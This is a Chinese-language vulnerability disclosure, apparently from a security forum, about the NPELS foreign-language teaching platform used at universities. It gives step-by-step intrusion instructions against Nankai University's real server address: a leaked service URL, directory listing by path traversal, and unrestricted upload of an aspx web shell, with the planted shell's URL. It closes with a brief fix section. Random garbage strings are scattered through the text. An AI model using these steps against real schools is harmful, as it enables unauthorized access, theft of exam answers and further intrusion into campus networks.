新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中

详细说明：
6 [$ V" D! |% y2 V  k- ~4 G2 M
以南开大学的为例:
. q! T; h' w+ o! V' I; B& T7 vhttp://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
) K! M- ~8 o7 G: G: r- q) Z<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
' S0 ?6 n+ e) u7 V</setting>
) }/ h3 p! o, |5 |% w: B及版本号
<add key="TVersion" value="1, 0, 0, 2187">
</add>
直接访问
: ~1 j6 ~% E  H+ s( rhttp://222.30.60.3/NPELS/CommonService.asmx
9 m. ?& v8 i5 }  f使用GetTestClientFileList操作，直接 HTTP GET 列目录：
$ d. S+ l$ t  o3 k, `/ Zhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
' `/ O6 j% Q& F4 q& ^( g进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../

发现
- w; e3 @4 j. S$ s! {1 a* xhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
( N7 K; H6 X5 W可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可
- ~( `5 @) _2 A0 f5 d4 v
( r' V5 d% U8 J% m3 {# b4 V7 V4 g1 AOOXX

Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
- D0 d3 j' X  P- h4 N: J漏洞证明：

列目录：
) I& }) f- z: e1 g- F% ]! H; B. zhttp://222.30.60.3/NPELS/CommonS ... List?version=../../
, c* }! f+ |+ Z, l5 P文件上传：
http://222.30.60.3/npelsv/editor/editor.htm
1 Q! n, A4 j- b: w
上传木马：
+ V5 m  p6 c( g, \, w9 r; Khttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
$ o) Y: f# L% v. K! u# ], W5 j  o
修复方案：
; H: @+ q, \5 [好像考试系统必须使用 CommonService.asmx
: N9 @; R0 a2 S$ l& q5 y最好配置文件加密或者用别的方式不让它泄露出来
, k- }  W# h' H9 g% `并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​